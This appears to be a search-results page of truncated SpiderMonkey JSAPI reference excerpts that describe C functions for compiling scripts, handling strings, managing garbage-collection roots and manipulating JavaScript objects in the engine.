runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject The global object, or NULL. utf8 const char * String containing the script to compile. length size_t The length of utf8 in characters. Description Given a buffer, return false if the buffer might become a valid
JavaScript statement with the addition of more lines. Otherwise return true. The intent is to support interactive compilation - accumulate lines in a buffer until JS_BufferIsCompilableUnit is true, then pass it to the compiler. See Also MXR ID Search for JS_BufferIsCompilableUnit JS::Evaluate JS::Compile JS::CompileOffThread JS::CompileFunction JS_DecompileScript ...
JS_CStringsAreUTF8
y interpret these strings as UTF-8. There are two ways to enable this: at compile time, by building SpiderMonkey with JS_C_STRINGS_ARE_UTF8 defined; or at run time, by calling JS_SetCStringsAreUTF8 before the first call to JS_NewRuntime. Enabling this option also causes JS_GetStringBytes and JS_EncodeCharacters to produce UTF-8 strings instead of Latin-1. JS_CStringsAreUTF8 returns JS_TRUE if the
JavaScript engine is configured (either at compile time or at run time) to interpret char strings as UTF-8. See Also bug 805080 ...
JS_CallFunction
ion calls a specified function, fun, on an object, obj. In terms of function execution, the object is treated as this. JS_CallFunctionName calls a function with specified name, name on an object obj. If JS engine fails to get the function, it returns false. JS_CallFunctionValue calls a specified function, fval on an object obj. JS_CallFunctionValue(cx, obj, fval, args, rval) is analogous to the
JavaScript statement rval = fval.apply(obj, args);. In args, pass a reference to the actual argument values to use. There should be one value for each argument you pass to the function; the number of arguments you pass may be different from the number of arguments defined for the function. Obsolete since JSAPI 30. In argc, indicate the number of arguments passed to the function. In argv, pass a pointer ...
JS_ClearDateCaches
Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ...
JS_CloneFunctionObject
ul if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object. The new object's prototype is Function.prototype; JS_NewObject: Choosing a Default Prototype explains exactly how this is computed. JS_CloneFunctionObject takes care to choose a prototype that shares a global object with the given parent whenever possible. funobj must be a pointer to a
JavaScript function object (see JS_ObjectIsFunction). On success, JS_CloneFunctionObject returns a pointer to the newly created object. If the class of funobj is not Function, then JS_CloneFunctionObject returns funobj itself. On failure, it returns NULL. See Also MXR ID Search for JS_CloneFunctionObject JS::CloneFunctionObject bug 1089026 renamed to JS::CloneFunctionObject ...
JS_CompareStrings
eStrings compares two JS strings, str1 and str2. If the strings are identical in content and length, JS_CompareStrings stores 0 in *result. If str1 is less than str2, *result is less than 0. If str1 is greater than str2, *result is greater than 0. On success the function returns JS_TRUE. On error, it returns JS_FALSE and the value in result is unchanged. This function imposes a total order on all
JavaScript strings, the same order imposed by the
JavaScript string comparison operators (<, <=, >, >=), as described in ECMA 262-3 ? 11.8.5. As the standard says: The comparison of strings uses a simple lexicographic ordering on sequences of code point value values. There is no attempt to use the more complex, semantically oriented definitions of character or string equality and collating order defined i...
JS_CompileFunction
Obsolete since JSAPI 36This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Creates a
JavaScript function from a text string. Syntax JSFunction * JS_CompileFunction(JSContext *cx, JSObject *obj, const char *name, unsigned int nargs, const char **argnames, const char *body, size_t length, const char *filename, unsigned int lineno); JSFunction * JS_CompileUCFunction(JSContext *cx, JSObject *obj, const char *name, unsigned int nargs, const char **argnames, const jschar *body, size_t length, const char *filename, unsigned int lineno); Name Type Description cx JSContext * The context in which to compile the function. Requires requ...
JS_CompileScriptForPrincipals
char * String containing the script to compile. length size_t The length of src, in characters. filename const char * Name of file or URL containing the function. Used to report filename or URL in error messages. lineno unsigned int Line number. Used to report the offending line in the file or URL if an error occurs. version JSVersion
JavaScript Version for the script. Description JS_CompileScriptForPrincipals compiles a security-enabled script, src, for execution. JS_CompileUCScriptForPrincipals is the Unicode version of the function. The script is associated with a JS object. principals is a pointer to the JSPrincipals structure that contains the security information to associate with this script. src is the string containing...
JS_CompileUTF8FileHandle
t contains the script, if available. file FILE * The file handle containing the script to compile. principals JSPrincipals * (only in JS_CompileUTF8FileHandleForPrincipals) The security principals to associate with the new script, or NULL. Description JS_CompileUTF8FileHandle reads a script from a stdio file handle and compiles the script for execution by the
JavaScript engine. JS_CompileUTF8FileHandleForPrincipals is a version of the function for use with SpiderMonkey's security features. filename is the name of the file containing the script to compile. file is the file handle. JS_CompileUTF8FileHandle does not close the file handle. If principals is non-null, it points to a JSPrincipals object that is associated with the new script and any functions it crea...
JS_DefineFunctions
nctions and makes them properties (methods) of a specified object, obj, as if by calling JS_DefineFunction repeatedly. fs is a pointer to the first element of an array of JSFunctionSpec records. This array is usually defined as a static global, with each record initialized using JS_FS or JS_FN. Each array element defines a single function: its name, the native C/C++ implementation, the number of
JavaScript arguments the function expects, and any property attributes. The last element of the array must contain 0 values. (The macro JS_FS_END can be used for the last element.) JS_DefineFunctions creates one function for each non-zero element in the array. PropertyDefinitionBehavior is used to select if properties with JSPROP_DEFINE_LATE flag should be defined on the object. Normal JSAPI consumers prob...
JS_DeleteElement
) Receives the result of the operation. Description JS_DeleteElement removes a specified element or numeric property, index, from an object, obj. If an object references an element belonging to a prototype, the element reference is removed from the object, but the prototype's element is not deleted. If deletion is successful, JS_DeleteElement returns true. Otherwise it returns false. For
JavaScript 1.2 and earlier, if failure occurs because you attempt to delete a permanent or read-only element, JS_DeleteElement reports the error before returning false. For
JavaScript 1.3 and later, the attempt is silently ignored. To truncate an array, use JS_SetArrayLength. To remove all elements and properties from an object, call JS_ClearScope. See Also MXR ID Search for JS_DeleteElement bug 11133...
JS_DeleteElement2
rototype, the element reference is removed from the object, but the prototype's element is not deleted. If deletion is successful, JS_DeleteElement2 stores true to *succeeded and returns true. Otherwise it returns false and the value of *succeeded is undefined. Notes Per the ECMA standard, JS_DeleteElement2 removes read-only properties from objects as long as they are not also permanent. For
JavaScript 1.2 and earlier, if deletion fails because the property is permanent, JS_DeleteElement2 reports the error and returns false. For
JavaScript 1.3, the attempt is silently ignored. In both these cases, *succeeded will receive the stored value of the property that was not deleted. To remove all properties from an object, call JS_ClearScope. See Also MXR ID Search for JS_DeleteElement2 bug 1113...
JS_DeleteProperty
j has a non-permanent own property with the given name or id. In this case, obj's JSClass.delProperty hook is called. If the hook returns false, the error is propagated. Otherwise, if obj is not configurable, an error is raised. Otherwise, the property is removed. These functions return true on success, regardless of whether a property was actually deleted, and false on error or exception. (In
JavaScript 1.2 and earlier, attempting to delete a permanent property caused an error. There is no longer any way to get this behavior.) Internally, property deletion is implemented by the JSObjectOps.deleteProperty callback. To remove all properties from an object, call JS_ClearScope. See Also MXR ID Search for JS_DeleteProperty MXR ID Search for JS_DeletePropertyById JS_DeleteProperty2 JS_DeleteP...
JS_DumpNamedRoots
har *name, void *rp, void *data), void *data); Name Type Description rt JSRuntime * Pointer to a JSRuntime from which to dump named roots. dump void (*)(const char *, void *, void *) Pointer to function that actually dumps the named roots. This may not be NULL. data void * A pointer that is passed to dump each time it is called. The
JavaScript engine does not read from or write to this pointer at all. It is passed to the dump function unchanged. It may be NULL. Description Each call to JS_AddNamedRoot creates a record in a table of named roots maintained by the garbage collector. JS_DumpNamedRoots provides a way for the application to access the contents of that table. It calls the dump function once for each named root in the gi...
JS_EncodeStringToBuffer
This article covers features introduced in SpiderMonkey 1.8.5 Convert a
JavaScript string to a C string. Syntax size_t JS_EncodeStringToBuffer(JSContext *cx, JSString *str, char *buffer, size_t length); Name Type Description cx JSContext * A context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. str JSString * A string to encode. buffer char * A character buffer to receive encoded string. length size_t The size of buffer in bytes. Description JS_EncodeStringToBuffer converts the specified
JavaScript str to a C string (an array of 8-bit chars) and fills the specified buffer with up to length bytes of the string. It returns the length of the whole string enc...
JS_EnterLocalRootScope
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Enter a local root scope. Syntax JSBool JS_EnterLocalRootScope(JSContext *cx); Name Type Description cx JSContext * Pointer to the context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. Description Scoped local root management allows native functions, getter/setters, etc. to avoid calling JS_AddRoot and JS_RemoveRoot to manage global roots temporarily. JS_AddRoot roots a variable, ensuring that whatever the variable points to at any given moment is protected from GC. ...
JS_EvaluateScriptForPrincipals
nst char * Name of file or URL containing the script. Used to report filename or URL in error messages. lineno unsigned int Line number. Used to report the offending line in the file or URL if an error occurs. rval jsval * Out parameter. On success, *rval receives the value from the last-executed expression statement in the script. version JSVersion
JavaScript Version for the script. Description JS_EvaluateScriptForPrincipals compiles and executes a script in the specified scope, obj. JS_EvaluateUCScriptForPrincipals is the Unicode version of the function. principals is a pointer to the JSPrincipals structure that contains the security information to associate with this script. src is the string containing the text of the script. length is th...
JS_ExecuteScriptPart
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. JS_ExecuteScriptPart has been removed in bug 555104. Use JS_ExecuteScript instead. Executes a part of a compiled script. Syntax typedef enum JSExecPart { JSEXEC_PROLOG, JSEXEC_MAIN } JSExecPart; JSBool JS_ExecuteScriptPart( JSContext *cx, JSObject *obj, JSScript *script, JSExecPart part, jsval *rval); Name Type Description cx JSContext * The context in which to execute the script. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JSObject * The scope in which to execute the script. ...
JS_ForgetLocalRoot
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Remove a value from the innermost current local root scope. Syntax void JS_ForgetLocalRoot(JSContext *cx, void *thing); Name Type Description cx JSContext * Pointer to the context in which the caller is running. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. thing void * Pointer to the value to be unrooted. This must point to a JSObject, JSString, JSFunction, or jsdouble. It must not be NULL. Description This function is used to interact with scoped local root management. ...
JS_GetArrayPrototype
Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ...
JS_GetCompartmentPrivate
e associated with the compartment. Description Each JSCompartment has a field of type void * which the application may use for any purpose. It is especially useful for storing data needed by callbacks. JS_GetCompartmentPrivate gets this field and JS_SetCompartmentPrivate sets it. The field is initially NULL. Memory management for this private data is the application's responsibility. The
JavaScript engine itself never uses it. See Also MXR ID Search for JS_SetCompartmentPrivate MXR ID Search for JS_GetCompartmentPrivate JS_GetRuntimePrivate JS_SetRuntimePrivate JS_GetPrivate JS_SetPrivate JS_GetInstancePrivate JS_GetContextPrivate JS_SetContextPrivate JS_GetContextPrivate JS_SetSecondContextPrivate bug 563106 ...
JS_GetContextPrivate
n Each JSContext has two fields of type void * which the application may use for any purpose. They are especially useful for storing data needed by callbacks. JS_GetContextPrivate and JS_GetSecondContextPrivate get this field and JS_SetContextPrivate and JS_SetSecondContextPrivate set it. The field is initially NULL. Memory management for this private data is the application's responsibility. The
JavaScript engine itself never uses it. See Also MXR ID Search for JS_GetContextPrivate MXR ID Search for JS_SetContextPrivate MXR ID Search for JS_GetSecondContextPrivate MXR ID Search for JS_SetSecondContextPrivate JS_GetRuntimePrivate JS_SetRuntimePrivate JS_GetCompartmentPrivate JS_SetCompartmentPrivate JS_GetPrivate JS_SetPrivate JS_GetInstancePrivate bug 714458 ...
JS_GetFunctionArity
Get the number of arguments a function expects. Syntax uint16_t JS_GetFunctionArity(JSFunction *fun); Name Type Description fun JSFunction * A
JavaScript function. Description JS_GetFunctionArity returns the number of formal parameters of a function, fun. This is the same as the function object's arity property, if that property has not been overwritten. Specifically, if fun is a native function, the result is the value that was passed to the nargs parameter of JS_DefineFunction. Otherwise fun is implemented in
JavaScript, and the result is the number of identifiers in its formal parameter list (see ECMA 262-3 ?13). Note that it is not an error per se to call a
JavaScript function with more or fewer actual arguments than its arity. See Also MXR ID Se...
JS_GetFunctionCallback
Note: This method is only available if MOZ_TRACE_JSCALLS was defined at compile time using --enable-trace-jscalls. ...
JS_GetFunctionId
Description JS_GetFunctionId returns the name of a function, fun, as a JSString, or NULL if fun is unnamed. ...
JS_GetFunctionName
Description JS_GetFunctionName retrieves the function name associated with a function pointer, fun. ...
JS_GetFunctionPrototype
Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ...
JS_GetGlobalForScopeChain
tion cx JSContext * The context for which to return the global object. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. Description JS_GetGlobalForScopeChain() returns the global object for whatever function is currently running on the context. In other words, it returns the global object on the current scope chain. If there is no
JavaScript running on the context, this returns the context's global, i.e., JS_GetGlobalObject(cx). Note that JS_GetGlobalObject() and context globals are becoming obsolete. See also JS_GetGlobalForObject JS::CurrentGlobalOrNull bug 899245 ...
JS_GetInstancePrivate
for which to retrieve private data. clasp JSClass * Class against which to test the object. args JS::CallArgs * Optional argument, used for error reporting. Added in SpiderMonkey 32 argv jsval * Optional argument vector, used for error reporting. Obsolete since JSAPI 32 This must be one of the following: an argv pointer created by the
JavaScript engine and passed to a JSNative callback; JS_ARGV(cx, vp) where vp is a pointer created by the engine and passed to a JSFastNative callback; or NULL. Description JS_GetInstancePrivate determines if a
JavaScript object, obj, is an instance of a given JSClass, clasp, and if it is, returns a pointer to the object's private data. Otherwise it returns NULL. Note that if obj is...
JS_GetNaNValue
::Value. Syntax // Added in SpiderMonkey 42 JS::Value JS_GetNaNValue(JSContext *cx); // Obsolete since SpiderMonkey 42 jsval JS_GetNaNValue(JSContext *cx); Name Type Description cx JSContext * A context. Description JS_GetNaNValue returns a value of type JS::Value that represents an IEEE floating-point quiet Not-a-Number (NaN). NaN is typically used in
JavaScript as the return value of a numeric operation when an argument is invalid or conversion fails. For example, 0/0 and Math.sqrt(-1) both return NaN. So do Number("xyzzy") and Math.sin("Frank"). While the IEEE standard defines many NaN bit-patterns, they are indistinguishable in
JavaScript, so in effect there's only one NaN. NaN is not equal to any other value. In fact, it is not even equal to itself:...
JS_GetObjectPrototype
Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ...
JS_GetParent
ey's custom security features can use the parent during security checks, as a convenient way to determine the security domain of an object being accessed. The typical rule is that every object is in the same security domain as its parent. (But each application can define its own security rules. See the Security section of the User Guide for an introduction to the security model.) In some cases,
JavaScript code can get an object's parent via the read-only obj.__parent__ property. But if an object's parent is an internal-use-only object (that is, a special Call, With, or Block object), JS_GetParent simply returns it, but obj.__parent__ === null. Similarly, if an object's parent is an inner object, JS_GetParent simply returns it, but obj.__parent__ returns the corresponding outer object. See Also ...
JS_GetPropertyAttrsGetterAndSetter
Out parameter. On success, *setterp receives a pointer to the setter function for the specified property. Description See JS_GetPropertyAttributes for details about these functions. The only difference is that on success, these functions also get the getter and setter functions for the property. The JS_GETTER (or JS_SETTER) attribute indicates that the property's getter (or setter) is a
JavaScript function, not a C/C++ function. When this attribute is present, the value stored in getterp (or setterp) does not really point to a C/C++ function; it is a JSObject *, pointing to a
JavaScript function, cast to type JSPropertyOp. The application may cast it back to JSObject * (using a C cast or a C++ reinterpret_cast) to access the getter/setter function object. For more information about JavaScr...
JS_GetPrototype
obj JS::HandleObject Object for which to retrieve the prototype. protop JS::MutableHandleObject Out parameter. If successful, Receives prototype object of obj. Description JS_GetPrototype retrieves the prototype of a specified object, obj. A prototype object provides properties inherited by similar JS objects. This is the equivalent of Object.getPrototypeOf(obj) from
javascript. If JS_GetPrototype returns false, that signals an exception, which should be handled as usual. Otherwise, it stores a pointer to the prototype or null to *protop and returns true. To set an object's prototype, use JS_SetPrototype. See Also MXR ID Search for JS_GetPrototype JS_SetPrototype ...
JS_GetReservedSlot
llback, then objects of that class have n reserved slots in which the application may store data. These fields are not directly exposed to scripts. Reserved slots may contain any JS::Value, and the garbage collector will hold the value alive as long as the object itself is alive. Reserved slots may also contain private values to store pointer values (whose lowest bit is 0) or uint32_t, when non-
JavaScript values must be stored; the garbage collector ignores such values when it sees them. (Note that private values must not be exposed directly to
JavaScript. It's only legal to store and retrieve data from private values. They cannot be returned from functions, set as properties on objects, embedded in
JavaScript arrays, and so on.) New objects' reserved slots are initialized to undefined. See Also...
JS_GetRuntimePrivate
h the runtime rt. Description Each JSRuntime has a field of type void * which the application may use for any purpose. It is especially useful for storing data which callbacks may then easily access. JS_GetRuntimePrivate gets the value of this field and JS_SetRuntimePrivate sets it. The field is initially NULL. Memory management for this private data is the application's responsibility. The
JavaScript engine itself never uses it. See Also MXR ID Search for JS_GetRuntimePrivate JS_GetContextPrivate JS_SetContextPrivate JS_GetSecondContextPrivate JS_SetSecondContextPrivate JS_GetCompartmentPrivate JS_SetCompartmentPrivate JS_GetPrivate JS_SetPrivate JS_GetInstancePrivate ...
JS_GetScopeChain
Obsolete since
JavaScript 1.8.7This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Retrieves the scope chain for the
JavaScript code currently running in a given context. JS_GetScopeChain has been removed in SpiderMonkey 1.8.7 with no identical replacement. When you only used this function to retrieve the scope chain's global, then you can use the function JS_GetGlobalForScopeChain. Syntax JSObject * JS_GetScopeChain(JSContext *cx); Name Type Description cx JSContext * The context to query. Description JS_GetScopeChain returns the first JSObject on the scope chain for the
JavaScript code currently running in the given context, cx. The ECMA...
JS_GetStringChars
hars(JSString *str); // Obsolete since JSAPI 1.8.5 const jschar * JS_GetStringCharsZ(JSContext *cx, JSString *str); // Added in SpiderMonkey 1.8.2, Obsolete since JSAPI 33 Name Type Description cx JSContext * (in JS_GetStringCharsZ only) A context. str JSString * The string to obtain characters from. Description JS_GetStringChars Obsolete since
JavaScript 1.8.5 returns a pointer to the first element of an array of jschars. Warnings: The array is not necessarily null-terminated. To get the length of the string, use JS_GetStringLength. The program must not modify the array. If it does, the behavior is undefined. The content of a JS string is not guaranteed to be valid UTF-16. It may contain surrogate code units that aren't properly paired. It ma...
JS_GetStringEncodingLength
Syntax size_t JS_GetStringEncodingLength(JSContext *cx, JSString *str); Name Type Description cx JSContext * A context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext.. str JSString * A string to encode. Description JS_GetStringEncodingLength returns the length of the specified string in bytes, regardless of its encoding. You can use this value to create a buffer to encode the string into using the JS_EncodeStringToBuffer function. ...
JS_GetStringLength
Syntax size_t JS_GetStringLength(JSString *str); Name Type Description str JSString * The string to examine. Description JS_GetStringLength reports the length, in 16-bit code units, of the string str. This is the same as the length property of the string. This is the same as the length of the array returned by JS_GetStringChars, in char16_ts (not bytes). Because some Unicode characters are represented using two 16-bit code units, the result is not necessarily the same as the number of Unicode characters in the string. ...
JS_GetVersion
Retrieves the
JavaScript version number used within a specified executable script context. Syntax JSVersion JS_GetVersion(JSContext *cx); Name Type Description cx JSContext * The context to query. Description JS_GetVersion returns the
JavaScript version currently used by the given JSContext, cx. The result is one of the JSVersion constants. When a context is created, its version is initially JSVERSION_DEFAULT. Scripts are compiled using the latest version of the
JavaScript language. To configure a context to run scripts using a specific version of
JavaScript, use JS_SetVersion. See Also MXR ID Search for JS_GetVersion JS_VersionToString JS_StringToVersion JS_SetVersionForCompartment ...
JS_HasElement
Syntax bool JS_HasElement(JSContext *cx, JS::HandleObject obj, uint32_t index, bool *foundp); Name Type Description cx JSContext * The context in which to perform the property lookup. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject The object to search for the element. index uint32_t Index of the element to look up. foundp bool * Out parameter. On success, it stores true to *foundp, false otherwise. Description JS_HasElement examines a specified JS object, obj, and its prototype chain, for an element or numeric property numbered index. ...
JS_InitStandardClasses
ecutable script context for which to initialize JS function and object classes. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::Handle<JSObject*> The global object to initialize. This object must be of a JSClass that has the JSCLASS_GLOBAL_FLAGS bits set. Description JS_InitStandardClasses initializes the built-in
JavaScript global properties. These include all the standard ECMAScript global properties defined in ECMA 262-3 ?15.1: Array, Boolean, Date, decodeURI, decodeURIComponent, encodeURI, encodeURIComponent, Error, eval, EvalError, Function, Infinity, isNaN, isFinite, Math, NaN, Number, Object, parseInt, parseFloat, RangeError, ReferenceError, RegExp, String, SyntaxError, TypeError, undefined, and URIError ...
JS_InstanceOf
argument when a particular class is required. To use it this way, pass the arguments provided by the engine for args with JS::CallArgsFromVp(argc, vp). When args is non-null, JS_InstanceOf behaves as follows. If obj is of the given class, it returns true. Otherwise, it returns false; it also reports a TypeError containing the function's name. Note that JS_InstanceOf is not the equivalent of the
JavaScript instanceof keyword, which examines constructor properties along the prototype chain. JS_HasInstance is similar to instanceof. See Also MXR ID Search for JS_InstanceOf JS_HasInstance JS_GetClass bug 959787 ...
JS_InternString
est on this JSContext. s const char * or const char16_t * Pointer to a character array containing the data for the string. In JS_InternString and JS_InternUCString, the string must be null-terminated. length size_t (only in JS_InternStringN and JS_InternUCStringN) The length of s in characters. Description JS_InternString and JS_InternStringN return an interned
JavaScript string with a specified value, s. JS_InternUCString and JS_InternUCStringN are the Unicode versions of the function. Each JSRuntime keeps a table of all existing interned strings. If an interned string already exists with the desired value, these functions return the existing string. Otherwise a new string is created and added to the table. Strings created with these functions are protected from ...
JS_IsAssigning
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Determine whether script is executing assignment operation. Syntax JSBool JS_IsAssigning(JSContext *cx); Name Type Description Description JS_IsAssigning returns true if a script is executing and its current bytecode is a set (assignment) operation, even if there are native (no script) stack frames between the script and the caller to JS_IsAssigning. ...
JS_IsConstructing
ter passed to the JSNative. Description JS_IsConstructing must be called only from a JSNative called from the engine. cx and vp must be the arguments that the engine passed to that JSNative. JS_IsConstructing returns JS_TRUE if the native was defined with JSFUN_CONSTRUCTOR (JS_InitClass automatically sets that flag when defining a constructor) and it was called as a constructor, either from
JavaScript, using the new keyword, or from C/C++ using a JSAPI function such as JS_ConstructObject. Otherwise it returns JS_FALSE. Ordinary non-constructor JSNatives have no need to call this; it always returns JS_FALSE for such functions. Many constructors do not need to call it either. In the common case where a constructor should have the same behavior (creating a new object) whether it is called with th...
JS_LeaveLocalRootScope
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Leave a local root scope. Syntax void JS_LeaveLocalRootScope(JSContext *cx); Name Type Description cx JSContext * Pointer to the context. This must be the same context passed to JS_EnterLocalRootScope(). Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. Description See JS_EnterLocalRootScope for an explanation of local root scopes. Leaving a nested local root scope causes all objects created since the matching JS_EnterLocalRootScope call to become subject to garbage collection. ...
JS_LeaveLocalRootScopeWithResult
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Leave a local root scope, transferring the result value to the next enclosing root scope. Syntax void JS_LeaveLocalRootScopeWithResult(JSContext *cx, jsval rval); Name Type Description cx JSContext * Pointer to the context. This must be the same context that was passed to JS_EnterLocalRootScope. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. rval jsval The result value that should remain protected from garbage collection. ...
JS_LockGCThing
me. thing void * Pointer to the item to protect. Description JS_LockGCThing is a deprecated function that protects a specified item, thing, associated with an executable script context, cx, from garbage collection. thing is a pointer to a jsdouble, JSString, or JSObject. JS_UnlockGCThing removes a lock from a specified item, thing, allowing it to be garbage collected when the
JavaScript engine determines it is unreachable. JS_LockGCThing and JS_UnlockGCThing are available only for backward compatibility with existing applications. Use JS_AddRoot and JS_RemoveRoot instead. See Also bug 734250 - removed *RT functions bug 706885 ...
JS_LookupElement
d, the caller must be in a request on this JSContext. obj JS::HandleObject The object to search. index uint32_t The numeric id of the property to look up. vp JS::MutableHandleValue Out parameter. On success, *vp receives the stored value of obj[index], or undefined if the element does not exist. Description JS_LookupElement examines a specified
JavaScript object, obj, for a numeric property numbered index. Note: In the
JavaScript language, numeric properties (also called "elements") are just ordinary properties whose names are numeric strings. For example, obj[6] is always exactly the same as obj["6"]. The ECMAScript standard also specifies this behavior: see ECMA 262-3 ?11.2.1, step 6. So any call to JS_LookupElement is equivalent to a call to J...
JS_LooselyEqual
This article covers features introduced in SpiderMonkey 1.8.1 Determine whether two
JavaScript values are equal in the sense of the == operator. Syntax bool JS_LooselyEqual(JSContext *cx, JS::Handle<JS::Value> v1, JS::Handle<JS::Value> v2, bool *equal); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v1, v2 JS::Handle<JS::Value> The value to compare. equal bool * Out parameter. Receives the comparison result. Description JS_LooselyEqual determines if v1 is loosely equal to v2 under the
JavaScript == operator, as specified in ECMA 262-3 ?11.9.3. If the ...
JS_MaybeGC
Syntax void JS_MaybeGC(JSContext *cx); Name Type Description cx JSContext * The context in which to perform garbage collection, if needed. Description JS_MaybeGC tries to determine whether garbage collection in cx's runtime would free up enough memory to be worth the amount of time it would take. If so, it performs some garbage collection. Calling JS_MaybeGC when the application is idle can help prevent garbage collection from happening at less convenient times. Calling JS_MaybeGC periodically when the application is busy, from a JSBranchCallback or JSOperationCallback Added in SpiderMonkey 1.8, can keep memory usage down and improve performance. ...
JS_NewDateObject
ject to. mon int The month to set the new object to. mday int The day of the month to set the new object to. hour int The hour to set the new object to. min int The minute to set the new object's time to. sec int The second to set the new object's time to. Description Creates and returns a new JSObject representing a
JavaScript Date object, which is pre-configured using the specified values. See also MXR ID Search for JS_NewDateObject JS_NewDateObjectMsec JS_ObjectIsDate bug 625870 ...
JS_NewDateObjectMsec
milliseconds since the Unix epoch. Syntax JSObject * JS_NewDateObjectMsec(JSContext *cx, double msec); Name Type Description cx JSContext * The context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. msec double Time since Unix epoch in milliseconds. Description The returned JSObject is a standard
JavaScript Date. See also MXR ID Search for JS_NewDateObjectMsec JS_NewDateObject JS_ObjectIsDate bug 625870 ...
JS_NewDouble
the GC heap. Syntax jsdouble * JS_NewDouble(JSContext *cx, jsdouble d); Name Type Description cx JSContext * The context in which to create the new number. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. d jsdouble The number to copy. Description JS_NewDouble allocates a copy of the number d on the
JavaScript garbage collection heap. This function is not very useful. To convert a jsdouble to a jsval, use JS_NewNumberValue instead. Warning: The argument d must not be a value that could fit in an integer jsval. If it is, JS_NewDouble creates a bad jsdouble that might behave as desired in some cases but not others. The new jsdouble is subject to garbage collection until you protect it using a local...
JS_NewDoubleValue
Description cx JSContext * The context in which to create the new number. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. d jsdouble The numeric value to convert. This must not be a value that could fit in an integer jsval (see INT_FITS_IN_JSVAL). rval jsval * Out parameter. On success, *rval receives a
JavaScript number with the value d. Description JS_NewDoubleValue creates a floating-point jsval. Warning: The argument d must not be a value that could fit in an integer jsval. If it is, JS_NewDoubleValue creates a bad jsval that might behave as desired in some cases but not others. The result is subject to garbage collection until you protect against it using a local root, an object property, ...
JS_NewGlobalObject
Syntax JSObject * JS_NewGlobalObject(JSContext *cx, const JSClass *clasp, JSPrincipals *principals, JS::OnNewGlobalHookOption hookOption, const JS::CompartmentOptions &options = JS::CompartmentOptions()); Name Type Description cx JSContext * The context in which to create the new global object. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. clasp Jsclass * The class to use for the new global object. ...
JS_NewNumberValue
l JS_NewNumberValue(JSContext *cx, jsdouble d, jsval *rval); Name Type Description cx JSContext * The context in which to create the new number. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. d jsdouble The numeric value to convert. rval jsval * Out parameter. On success, *rval receives a
JavaScript number with the value d. Description JS_NewNumberValue converts a C floating-point number of type jsdouble to jsval, the type of
JavaScript values. The result is an integer jsval if d can be stored that way. Otherwise, a new floating-point jsval is created. Some space for the new value may be allocated from the JS garbage collection heap. In this case, the value is subject to garbage co...
JS_NewPlainObject
Syntax JSObject * JS_NewPlainObject(JSContext *cx); Name Type Description cx JSContext * The context in which to create the new object. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. Description JS_NewPlainObject creates a new plain object, like new Object(), with Object.prototype as [[Prototype]]. On success, JS_NewPlainObject returns a pointer to the new object. Otherwise it returns nullptr. ...
JS_NewPropertyIterator
differs from longstanding for..in loop order, which uses the order in which obj's properties were defined. Note also that while for..in includes properties inherited from prototypes, iterator objects do not.) On success, this returns an iterator object that can be passed to JS_NextProperty to fetch the property ids. On error, it returns NULL. The iterator object created by this function is not a
JavaScript Iterator. It is an opaque object with no properties visible from
JavaScript. See Also bug 1081660 ...
JS_NumberValue
to JS_NewNumberValue, JS_NewDoubleValue, JS_NewDouble. Syntax // Added in SpiderMonkey 42 JS::Value JS_NumberValue(double d); // Obsolete since SpiderMonkey 42 jsval JS_NumberValue(double d); Name Type Description d double The numeric value to convert. Description JS_NumberValue converts a C floating-point number of type double to JS::Value, the type of
JavaScript values. The result is an integer JS::Value if d can be stored that way. Otherwise, a new floating-point JS::Value is created. See Also MXR ID Search for JS_NumberValue bug 752223 bug 1184564 -- Changed jsval to JS::Value ...
JS_ObjectIsDate
Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JSObject * JSObject that should be checked. ...
JS_PopArguments
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Frees the stack entry allocated by JS_PushArguments. Syntax void JS_PopArguments(JSContext *cx, void *mark); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. mark void * Pointer to a void * which holds the stack frame pointer previously supplied by JS_PushArguments. ...
JS_PreventExtensions
er must be in a request on this JSContext. obj JS::HandleObject Object to be made non-extensible. result JS::ObjectOpResult & (out parameter) Receives the result of the operation. Added in SpiderMonkey 45 succeeded bool * Outparam indicating, on JSAPI success, whether the object is now non-extensible. Obsolete since JSAPI 39 Description All
JavaScript objects recognize the concept of extensibility: whether new properties may be added to the object. In some situations, it may be convenient to prohibit new properties. In
